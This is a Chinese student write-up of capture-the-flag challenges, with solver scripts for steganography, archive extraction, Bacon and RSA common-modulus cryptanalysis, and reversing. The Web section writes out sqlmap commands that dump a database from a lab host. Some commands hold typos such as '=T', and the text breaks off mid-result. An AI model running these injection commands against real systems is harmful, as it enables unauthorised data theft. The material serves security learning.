From LB@10.0.0.55
Misc
0x01 misc100(图片隐写)
首先用binwalk扫了一下，发现没毛病。
然后就搜了一下jpg的文件尾FFD9，如下图，看到了png格式的标志IHDR。
于是将FFD9以前的部分删除，补全PNG文件头8950 4e47 0d0a 1a0a得到一张新的图片，看上去是全白的，毫无内容。但是打开提示图片出错，于是想到是宽高和CRC不匹配导致的。
分析一波png格式可以知道，
CRC = 0x9A768270，width = 0x0320，height = 0x012C
爆破高度，脚本如下：
# -*- coding: utf-8 -*-
import binascii
import struct
#\\x49\\x48\\x44\\x52\\x00\\x00\\x03\\x20\\x00\\x00\\x01\\x2C\\x08\\x06\\x00\\x00\\x00
crc32key = 0x9A768270
width = \'\\x00\\x00\\x03\\x20\'
for i in range(256, 65535):
height = struct.pack(\'>i\', i)
#CRC: 9A768270
data = \'\\x49\\x48\\x44\\x52\' + width + height + \'\\x08\\x06\\x00\\x00\\x00\'
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print \'\'.join(map(lambda c: "%02X" % ord(c), height))
得到高度为0x0258，修改得到flag{python&C_master_can_be_my_girlfriend}。
0x02 misc200(python解压)
一看题目描述就知道是要解压800次压缩包，一开始给的文件是Gzip格式，但之后的都是tar，所以为了方便手动解压一次，然后脚本解压。
# -*- coding:utf-8 -*-
__Author__ = "LB@10.0.0.55"
import tarfile
dstPath = \'\'
tar = tarfile.open("800.tar","r")
now = tar.getnames()[0]
tar.extractall(dstPath)
while now != \'flag\':
tar = tarfile.open(now,"r")
now = tar.getnames()[0]
tar.extractall(dstPath)
得到flag{for_i_in_{800..0};do_tar_xzvf_$i;done_&&_cat_flag}
Crypto
0x03 crypto100(bacon密码)
首先看到佛曰于是到该网站解密http://keyfc.net/bbs/tools/tudoucode.aspx
得到js颜文字，试了好几个浏览器的console都不太好使，最后用的360。
得到好多flag（滑稽），将Flag转为1，flag转为0，发现字符串长度为85，是5的倍数，在M4x学长的提示知道是bacon密码,将1转为a，0转为b解密。
附上脚本
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import re
alphabet = [\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\']
first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","babaa","babab","babba","babbb","bbaaa","bbaab"]
second_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa","abaaa","abaab","ababa","ababb","abbaa","abbab","abbba","abbbb","baaaa","baaab","baaba","baabb","baabb","babaa","babab","babba","babbb"]
def encode():
string = raw_input("please input string to encode:\\n")
e_string1 = ""
e_string2 = ""
for index in string:
for i in range(0,26):
if index == alphabet[i]:
e_string1 += first_cipher[i]
e_string2 += second_cipher[i]
break
print "first encode method result is:\\n"+e_string1
print "second encode method result is:\\n"+e_string2
return
def decode():
e_string = raw_input("please input string to decode:\\n")
e_array = re.findall(".{5}",e_string)
d_string1 = ""
d_string2 = ""
for index in e_array:
for i in range(0,26):
if index == first_cipher[i]:
d_string1 += alphabet[i]
if index == second_cipher[i]:
d_string2 += alphabet[i]
print "first decode method result is:\\n"+d_string1
print "second decode method result is:\\n"+d_string2
return
if __name__ == \'__main__\':
while True:
print "\\t*******Bacon Encode_Decode System*******"
print "input should be lowercase,cipher just include a b"
print "1.encode\\n2.decode\\n3.exit"
s_number = raw_input("please input number to choose\\n")
if s_number == "1":
encode()
raw_input()
elif s_number == "2":
decode()
raw_input()
elif s_number == "3":
break
else:
continue
得到flag{interestingcoding}
0x04 crypto200
这题就是把flag经过四个函数加密，并且每一次把要加密的函数的序号告诉你，让你逆回去，附上脚本。
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import random
import string
\'\'\'大小写字母前后颠倒\'\'\'
def rot13(s):
return s.translate(string.maketrans(
string.uppercase[13:] + string.uppercase[:13] +
string.lowercase[13:] + string.lowercase[:13],
string.uppercase + string.lowercase))
\'\'\'base64编码\'\'\'
def base64(s):
return \'\'.join(s.decode(\'base64\').split())
def hex(s):
return s.decode(\'hex\')
\'\'\'大写转小写，小写转大写\'\'\'
def upsidedown(s):
return s.translate(string.maketrans(
string.lowercase + string.uppercase,
string.uppercase + string.lowercase))
flag = open(\'flag1.txt\',\'r\').read() # try to recover flag
E = (rot13, base64, hex, upsidedown)
while flag[0:4] != \'FLAG\':
print flag[0]
flag = E[int(flag[0])](flag[1:])
print flag
#FLAG{KEEP CLAM AND DECODE!}
0x05 crypto300
这是我入坑CTF搞的第一道RSA，abo居然就弄这么难....
这题的加密简单来说就是 c = pow( flag , e , n )
每次的c和e都不同，但n是固定的，这是关键。熟悉rsa的就知道是共模攻击。
脚本如下：
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from libnum import n2s
import sys
sys.setrecursionlimit(1000000)
e = [1619455979,
2218655053,
2835180841,
3071798573,
3875439793,
361506967,
1578333451,
2921677883,
3932969143,
364263283,
3513149351,
3517079837,
696665539,
3335742701,
3157525687,
1113728801,
3628966093,
2111846309,
3650543653,
2507103857,
2151201433,
2470127773,
4167499013,
2990751161,
734964331,
3662407867,
2133375229,
4283967859,
3533655011,
1930522169,
1808434097,
786604957]
c = [
198715253333205140309304762885934618229717196308890027603141480980731775107348360929691664611310937503978870900195082805430374783694030256080622016431713424487244772527324022843322914415619245021182421250854444440781360638422051666613839841944782322487338599765894102041338732574012668931813897325660246967869476602808909797162902701210216869359928429288791785452635316367779426533481308013371557355393449986658731108747490355528775172926959308658280174940152832432165736439293418874425734751782857925497662265002591513393372683454767087602379380052747936562618483274958688907439693149445829031530613277130701096166928779898938460841793137793772824993304228003993183930879792632492470483669825399423456797908143494111020418710988346835166212243585055863746810963626606308385913688254166416633006118130890757463652637792926528161963258064305876815498055545713830360972308419832086946998782649756845607923863281939402203454937273620038072346575381808812583095514453536737347381024233365706099989443504975149420539758813461360142987773976973719344200937932368445461807527624932180387123416910068146569630371506530698264164327834638083283167886159722591510801422331956288691109442923649046533833838586468844563801643083794278525900495947,
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119597610400986655822748572704247160378749552140098666928979665264352720818579965218203320626127860188751883851507578788065047673189983865835303769775101052499540654461042578201405519943996655527927432568654121760073883806453560861412045716194359736699664767884153078465566809833379155293675288703558671757572338310811999195499103033933734679490388916618604105253896846501640165766038127605992328516824323561115674741493527578312594272314928734192093252013744776261287377198018059078558877785775180939902670067435362751038547231529527427975202766312364429001266619686629513264874607760353705341075814117498519838829449186475803266347511493093314057394082489334887343697910896126310949379471459274042525273353403965336165896693907451549846915056438525918415860197888166717287251444261156004764238342963446234247692469498495955457564116860046366742203315665220665037378159590091437908369005410113691477805221553491636083039365118757769686187936678492833394541653919831671511456367239093688699015813189744150485962930092183879539404340397488297025103118503268756654960309659736211970446077705669626938922221364040400393261629370608819228139523239965135482093076186223217504520152284433685278728975596909313536355577774263112332303417495,
265574716051316652373725915733039581360767478007355677208862790546517266814175228876617557382345636366171230412704359342480196502313557124468742854845964639446615527297260078648078832479103552945529397702811023160856474548170758601177096109033782738037854491266583450360057709374656043727486579041008033644960633110898088737506337306079170039463060539284596680722984122668138506733044092213040264632377310912338859702542201713722801597383547642873074492695342282229531323404501606329685024697934105397704767634756177550830606943821292323641847550305418002116264481396685159729754699038021974112119007961857750927260165005343668997258556777073319104480913767351824955116406515961360656545696150590230824767818234392390066882108180249123134338522252881513320605843865719891943828694525610308593134095595257601277250095512971878092015641527416283394136605995411555481682062437646304056218813717773853653311982771914013794119770057681075974288994080040296298258197242260030794068770624750073528558655854468311973894900709010410153531963242536694053354460114740002987242912781569628039930451836710678384012266839237618091540990808712674561108617003652864432706686878854194926471413467364273879858306496164438558301944586872526314416436729,
257667709179960565944044186328492807367738944135954847043605212764382832704757417360761494394149259840075003740123177174052228149358818514203318778266531647701104357387731055756642198126158958674918656487262909369809914501090650615710024067892619098640605942423968925529478919228743137244828126157060713277649697565482870319712888771313525525182830544055741056836393661562890441668986775895006750523792997339303390948664379529154621139345761900668182063951765110476182353216412567939479399320617131606239757733838523720350373176371339447546395986226892159729052340263386251815711541426822349762794032005866548317927624214525949088057509495079716595991505466968675343424597967673057981998734607517767663217527777638265694675122968753070313353040479767444588078033182806074868813869650641232713145513611510749341250677135573366310245748508309797568504000893478018992172460072619223216653635059951104765676764262595981718889922618080559279031811463058767163081769501678854750143361230077375266855233524076932053758373299691299836495350858918208667028246552871796016959655328175575388893735202161506889843014300945258983774626428997566550594494105875649585794513909094813481276224437504997908838620440906093212995482890227864482686834190,
141579078248164659336314755581790903129574621785358563404942411832889027612518922843077970313356872708098314876455664277990196359617817343236077780212015726412928497676188115163774425127257561524759706739351055688734989106910467383489150219987041734129315089771609862587179278245998068815418125510778312870401717524959523295014404581149020609122748331349429079925933323418453487827441318667072736406784251846857542799307229563231965689979783481385754192295886669016685545205684049931676515786025123174165776550919656736011753349387875532858914921711407231535957028349182156745115357812608116460300955036029308789535332310917278417257879838400347134132981052282345463764939221065515453883650245991245545685969711331067221340811732118637757477963778774485295938537922318864147098619709636523127851393096174348180584740385495516284017265910448932749623752764252436217250309282113783674781819617117916630265873332129233493942838698537073854211679225599251713850721233668205932087328733513482266425252897096107405838046582457798073440382115284490583075914757656607262849908944027495332015319876753722106977136926354917615739139981712007899956187118822108254300985908728199221729789688355343771714240411144340267691701000569325726600849649,
100706408600125958616560572969447827645492723488680357656944023034538399739316039131511477608424396497504985240518087192341820691309156040173557865161644246030172330845283424397215880348164966399708147484312750461404633620074609510464879736103557969890573629561160496655513618078575574876229586969874915231783440308567697145631208720344817421966156995138024092630329839287981598622829909387496628107522882200612218007935276132288274430206492765043241442366305051357638881722993325504047488900922765366750296035408266424784898424797984918023953193141080617185404158286012068338980093238675383805104814208262220830765204980423273644054614406928753102312502957833868665255709495324999928347484830705882190875038302242159653038677668867695323597848591059767659509170440587343493256508581654455583570681313263289251311969820219946594908769937861909315550223427011196699072141411379931011418416261779511960573911524828019281347396350021592585079371291958989676277950146799107026783446505009215546211243848528990957997259499246021533330488818276943755176641351178947109131074473022313793500525109820926744484848784134455150133347892072036463192078208878984078430050509613362109163470776308853520413494134553520788527165210643113647810496589,
34981384963513076131815472417122245538702789105068221306406727134142930389099428734862694311891228943413212773580114035909562314727781382456014126977818591791289322161963910147483887147052734863940798811502259154628821952700508344620639373437401790884889282919618376779256551828163526573817923243825583451077106224979603217533158277439450241815036457407984580829814025545136980910922892003662836265953193789401675519824453471609823818847330469695357182000796330070038832658418239151887948372131409243514410202596006641703003800685022996642179931329903540845838747865543922540401107486050758928770312566891112859509042558439421819189496977968600766901852596844884584827569574626719419532811668716516566045998056095248077840438584050045411076171369092407022214298278762884213237055585696381071190037564171344508596607067261872983909821105836157242634728458025327055623584965336446710828322609239195998699220816907795139019191499619780142983355297036976617749892226678047108234595124205089865678969515847549155589234025623787336452042816526192405144678899068125774503480629327594356672643117594907235787375069550300836157431308302810943631514521871487875048253747113673958632796475832959056980579822649368226846879825974200976217747711,
188052094573847895353443320101089422934009131511529914800621614889788360489366471014123356068611198436697265642592293438705994280157306755884434062062555897511192911655239912153534425989299815208675196566032489735017173324076268762358113558056588800463694316565281293458626724990449052985584065412267469173963344249026868295925099424637989404141395171480552192659475169492358789922397020410091812256339808139462101037579234818856906786078038004664178348113440160944322490909275995079859736003538861596009947731545923593644074147368603681156913766728849710930897391029520805799170297886035901560720354328801121497942830908897754247093158260715205760336479187352697750548402948926497391262820687181715070225267242781902784881771464965393190091137489807008274170341235018754058708227100521968172472112614024139542148511672090369883055579159150483280047859702113107069145063822076366273741380409559992255810745696026776486789590172676214880183878484309493691587076438455831627777180085114681329695154592837738419276373038438057280459032389795579950086647929180500039243858004612454114104246030389853209524293515867117230877055093292994625394623641233130738307203919315766183207018528307978536002563526915382765707550766239470376319281766,
128047209934897531165640656545265432129228051499097668497556366047958398065650411415679178667994874801183211387584263049558783155175767687238376471410239080112711124265070494253545550677338177794236101154236088426957326670769027325615443788437039101171236214635953405255678812319280348639618370940501270852396503437705371789757438962533876021667231464485728421299638562179997341138328236001424780696712571002135260148519500712362439953653944355027072979814788830783705112200297578557508118083350535342083589595675074346510002454672011201752131446376950924253272419491165736835235206925743817331628994100865143504378023136929659750340651101832064496348352350702376046323276094459942388685382675023183118530352161251133369180852304565111257183512362280542493945792038367777367723291187135549890852439777783176301668783316103120542108214839147707138832048275265262384660908753395891466112378941683412660508097841687284429004366956398803390383786848146420795723276245649798155000506076558805159575568899908133130199217912540344424722548254389192205850179860024715312937155216947617503102080404845966308161835985658840727036320930054409346586143429418685089236924314979718486219096656958761207121613200307960599376376751153525554473307533,
236287727526936694810272614094992980242721693535416926477097033811760002325696040571302711584071552745720524501838734075439505260610094846587110698104370198495320428150883330530044160000718797914162721813131650632467266182927745360511349952800464925619789167066211155698819974555700344338980538992034932465084971019831873882992648582934989970694430975806823718381360139028755494008423203828583616107737184645655736859398213587197019572454522219484310024799997736339888040163613687205738262173205164544103432867359560154903611417409457541590542527918521543456198452927014085894235180824290106779767373064882855272262764598999200526024748196964109545955911014514411069985137943312900718395378413386905365004870600311280657805336349804384633445491202708932616649956955563221525451663402197460448895914438981660613206778572540245823448678395024212618006658385681869524887968993186136893139648284248023600423783302922960152057751131805091718148469820246570202777551312460557159903033720353229268633850274480446367571935085859489343640899825688088579915166107493273469038622840562987271174949658137917542872593944900982943247999140438705810091160619797053905929385570893823862140353534583761732026051569066785734070136821001864045468123610]
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception(\'modular inverse does not exist\')
else:
return x % m
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception(\'modular inverse does not exist\')
else:
return x % m
#这里e和c的序号可以从32个里面选两个
e1 = e[1]
e2 = e[2]
s = egcd(e1,e2)
s1 = s[1]
s2 = s[2]
c1 = c[1]
c2 = c[2]
print(s)
n = 303552029739268787689421034809301542668363111985448197488656603423285809555016225763507821058977191376975609612314573787148430030014978401102426346290180457645094380918591576333426636173812372946449416193133967635136948329497046720932035699306242881374653629170574541376888732480402461582716866722983695803770299355842301744494399283912359159762979974274635961976611573875536934818825542925610132556421395122301055777262562802177229272506178634122630325492174876899080153722085540119976788604275939786645770106319848807686165366996569539304747120908823654505597519971616647713951114166662291810700501111018118275233410176961734636469348235124203204134145130577525538890279384881751619815307136021730662753639447139755612989914958460173737679972680019340240434795555887059008048980208310031478812591690215353375022942428110381458613385128108872115242768135293903468683608857300743326973147004626582751679482312050023468740515408350833053825882533336460567233765353505688832265072613475683680709995436584288121440632015107692526152295970809776420786093311436754175740811154244080248787476374748432605004090718808330731360388760195905565111121494331277093420237515276837204677350020884323188865761880255671146749130841857969707181931683
if s1 < 0:
s1 = -s1
c1 = modinv(c1,n)
if s2 < 0:
s2 = -s2
c2 = modinv(c2,n)
m = (pow(c1,s1,n)*pow(c2,s2,n)) % n
print(n2s(m))
print(pow(m,e1,n) == c1)
print(pow(m,e2,n) == c2)
#flag{RSA_is_a_popular_algorithm}
最后很迷的是算出来的m只符合一个，另一个是False。
在网上看了一个讲解还不错，附上网址http://bobao.360.cn/learning/detail/3058.html
Web
0x06 Sql50
最简单的sqlmap注入，当天晚上还在试手注，难受。
payload如下
py -2 sqlmap.py -u 10.4.21.55:10010?id=1
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 --dbs
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns -C Hinata --dump
flag{Power_of_Ldy}
Re
0x07 re100
简单的逆向，当时主要是没把那个或当回事。。。没怎么见过或运算不太敏感。
逻辑关系：flag + 9 = ( (key&0xAA) >> 1 ) | ( 2 * (key&0x55) )
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0x8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x97,0xB1,0xBE,0xBC,0x16,0xB1,0xBC,0x16,0x9D,0x95,0xBC,0x41,0x16,0x36,0x42,0x95,0x95,0x16,0x40,0xB1,0xBE,0xB2,0x16,0x36,0x42,0x3D,0x3D,0x49]
flag = \'\'
for i in range(len(a)):
flag += chr( (((a[i]&0xAA)>>1) | (2*(a[i]&0x55))) - 9 )
print(flag)
#FLAG{Swap two bits is easy 0xaa with 0x55}
0x08 re200
听说不能F5？！之后才知道可以像上次hctf一样修复。
方法一：修复F5
关键函数是check并且就是它不能f5，如下图
在红色的那一行点字母D，就可以了。
方法二：gdb直接跟到strcmp
由于最后有个比较函数，所以可以在strcmp处下断点，地址为0x4006B6，即check+112。
然后run，输入足够长的字符串后可以直接看到flag。
方法三：gdb一步一步跟。
可发现输入的字符串是经过异或1，2，4，6等从而和目标串匹配，从而写脚本得到flag。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0x66,0x6E,0x65,0x61,0x73,0x42,0x6D,0x78,0x75,0x4D,0x61,0x49,0x6C,0x68,0x75,0x7B,0x44,0x7D,0x63,0x62,0x6A,0x15,0x51]
flag = \'\'
for i in range(len(a)):
flag += chr( a[i]^(2*i) )
print(flag)
#flag{Have_u_tried_GDB?}
0x09 re300(js加密混淆)
首先在网址http://matthewfl.com/unPacker.html格式化。得到
console.log((function()
{
if(typeof(require)==\'undefined\')return\'(´・ω・`)\';
var code=require(\'process\').argv[2];
if(!code)return\'(´・ω・`)\';
String.prototype.zpad=function(l)
{
return this.length<l?\'0\'+this.zpad(l-1):this
};
function encrypt(data)
{
return\'"\'+(Array.prototype.slice.call(data).map((e)=>e.charCodeAt(0)).map((e)=>(e*0xb1+0x1b)&0xff).map((e)=>\'\\\\u\'+e.toString(16).zpad(4))).join(\'\')+\'"\'
}
var crypted="balabalabalayidachuan";
if(JSON.parse(encrypt(code))!=crypted)return\'(´・ω・`)\';
try
{
eval(code)
}
catch(e)
{
return\'(´・ω・`)\'
}
return\'(*´∀`)~♥\'
}
)())
关键代码在这：(e)=>(e*0xb1+0x1b)&0xff)
也就是说flag经过数乘加法，然后取低八位得到加密串。要想直接逆回去是不可能的，所以爆破。
脚本如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0xff,0xff,0xff,0x48,0x39,0x06,0x68,0xe6,0xff,0xff,0xff,0x48,0x26,0xca,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0xff,0x35,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0xca,0x35,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xff,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0xff,0x35,0xc3,0x26,0x88,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xff,0xca,0xff,0x35,0xc3,0xff,0xff,0xff,0x06,0xff,0xff,0xff,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xca,0xff,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0xca,0x35,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xca,0xca,0x35,0xc3,0x26,0x88,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0x68,0x87,0xff,0xff,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xff,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xca,0xca,0x35,0xd6,0xd6,0xff,0xff,0xff,0x87,0xff,0xca,0xca,0xff,0x35,0xd6,0xd6,0xff,0xff,0xff,0x88,0xe6,0xff,0xff,0xff,0xe9,0xff,0xca,0x48,0xc3,0xff,0xff,0xff,0xe9,0xff,0xca,0x48,0xff,0xff,0xff,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0x68,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0xff,0x48,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xff,0xff,0x48,0xc3,0xff,0xff,0xff,0xe9,0xff,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xc3,0xec,0xff,0xff,0xff,0x74,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0x68,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0xca,0x48,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xff,0x48,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0x68,0x74,0xd6,0xc3,0xff,0xff,0xff,0xe9,0xca,0x48,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0x74,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xe6,0xff,0xff,0xff,0xe9,0xff,0xff,0x48,0xff,0xff,0xff,0xe9,0xff,0xd6,0xc3,0xec,0x9d,0x9d,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xe6,0xff,0xff,0xff,0xe9,0xff,0x48,0xc3,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0x74,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0x68,0x06,0xff,0xff,0xff,0xe9,0xff,0xca,0x68,0xe6,0xff,0xff,0xff,0xe9,0xff,0xc3,0xff,0xff,0xff,0xe9,0xff,0xc3,0xff,0xff,0xff,0xe9,0xff,0xff,0xd6,0x9d,0xb7,0x9d,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xca,0xd6,0x9d,0xe9,0x9d,0xd6,0xc3,0xec,0x06,0x68,0xd6,0x9d,0x9d,0x74,0x06,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0x68,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xd6,0x9d,0xc3,0xb7,0xb7,0xb7,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xd6,0x9d,0x26,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xca,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0xb7,0xb7,0x9d,0xd6,0xff,0xff,0xff,0xe9,0xca,0xca,0xff,0xd6,0xff,0xff,0xff,0xe9,0xff,0xff,0xca,0xd6,0xff,0xff,0xff,0xe9,0xca,0xff,0xff,0xd6,0x9d,0x88,0xb7,0xb7,0xb7,0x9d,0x74,0xe6,0x9d,0xd6,0x9d,0xb7,0x9d,0x9d,0x74,0xc3,0x74,0x74,0xc3,0x74,0xe6]
flag = []
for i in range(256):
for j in range(256):
if (( j*0xb1 + 0x1b )&0xff) == i:
flag.append(j)
break
flag1 = \'\'
for i in a:
flag1 += chr( flag[i] )
print(len(a),len(flag1))
print(flag1)
得到：
